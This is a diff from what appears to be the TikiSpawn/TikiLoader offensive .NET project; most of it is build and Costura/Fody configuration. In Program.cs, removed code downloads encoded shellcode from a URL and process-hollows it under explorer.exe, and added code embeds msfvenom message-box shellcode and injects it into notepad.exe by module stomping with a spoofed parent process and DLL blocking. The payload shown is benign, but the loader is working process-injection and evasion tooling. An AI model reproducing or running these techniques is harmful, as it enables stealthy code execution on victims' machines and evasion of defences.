<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>
|
||||
</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Configuration" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="TikiService.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="TikiService.Designer.cs">
|
||||
<DependentUpon>TikiService.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\packages\Fody.6.0.0\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.0.0\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -1,5 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="4.1.0" targetFramework="net45" />
|
||||
<package id="Fody" version="6.0.0" targetFramework="net45" developmentDependency="true" />
|
||||
</packages>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -1,111 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
+39
-52
@@ -1,62 +1,49 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Diagnostics;
|
||||
|
||||
using TikiLoader;
|
||||
|
||||
[ComVisible(true)]
|
||||
public class TikiSpawn
|
||||
namespace TikiSpawn
|
||||
{
|
||||
|
||||
public TikiSpawn()
|
||||
internal static class Program
|
||||
{
|
||||
Flame(@"", @"");
|
||||
}
|
||||
|
||||
private static byte[] GetShellcode(string url)
|
||||
{
|
||||
WebClient client = new WebClient();
|
||||
client.Proxy = WebRequest.GetSystemWebProxy();
|
||||
client.Proxy.Credentials = CredentialCache.DefaultCredentials;
|
||||
string compressedEncodedShellcode = client.DownloadString(url);
|
||||
return Generic.DecompressShellcode(Convert.FromBase64String(compressedEncodedShellcode));
|
||||
}
|
||||
|
||||
private static int FindProcessPid(string process)
|
||||
{
|
||||
int pid = 0;
|
||||
int session = Process.GetCurrentProcess().SessionId;
|
||||
Process[] processes = Process.GetProcessesByName(process);
|
||||
|
||||
foreach (Process proc in processes)
|
||||
// $ msfvenom -p windows/x64/messagebox -f csharp
|
||||
private static byte[] _shellcode =
|
||||
{
|
||||
if (proc.SessionId == session)
|
||||
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
|
||||
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
|
||||
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
|
||||
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
|
||||
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
|
||||
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
|
||||
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
|
||||
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
|
||||
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
|
||||
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
|
||||
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
|
||||
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
|
||||
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
|
||||
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
|
||||
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
|
||||
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
|
||||
0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
|
||||
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
|
||||
0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
|
||||
0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00
|
||||
};
|
||||
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
var stomper = new Stomper
|
||||
{
|
||||
pid = proc.Id;
|
||||
}
|
||||
}
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
private void Flame(string binary, string url)
|
||||
{
|
||||
byte[] shellcode = GetShellcode(url);
|
||||
int ppid = FindProcessPid("explorer");
|
||||
|
||||
if (ppid != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
var hollower = new Hollower();
|
||||
hollower.Hollow(binary, shellcode, ppid);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
else
|
||||
{
|
||||
Environment.Exit(1);
|
||||
BinaryPath = @"C:\Windows\System32\notepad.exe",
|
||||
WorkingDirectory = @"C:\Windows\System32",
|
||||
ModuleName = "xpsservices.dll",
|
||||
ExportName = "DllCanUnloadNow",
|
||||
ParentId = Process.GetProcessesByName("explorer")[0].Id,
|
||||
BlockDlls = true
|
||||
};
|
||||
|
||||
stomper.Stomp(_shellcode);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,36 +1,35 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiScript")]
|
||||
[assembly: AssemblyTitle("TikiSpawn")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiScript")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyProduct("TikiSpawn")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2021")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("2ef9d8f7-6b77-4b75-822b-6a53a922c30f")]
|
||||
[assembly: Guid("50FFBFAD-6B98-493D-B93B-2E252FC1EF9C")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
+59
-76
@@ -1,79 +1,62 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<RootNamespace>TikiSpawn</RootNamespace>
|
||||
<AssemblyName>TikiSpawn</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>
|
||||
</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject />
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=3.3.3.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.4.0.2\build\Fody.targets" Condition="Exists('..\packages\Fody.4.0.2\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>TikiSpawn</RootNamespace>
|
||||
<AssemblyName>TikiSpawn</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<LangVersion>10</LangVersion>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.4.0.2\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.4.0.2\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props'))" />
|
||||
</Target>
|
||||
</Project>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32bit>false</Prefer32bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32bit>false</Prefer32bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
|
||||
</Project>
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="3.3.3" targetFramework="net45" />
|
||||
<package id="Fody" version="4.0.2" targetFramework="net45" developmentDependency="true" />
|
||||
</packages>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -1,111 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
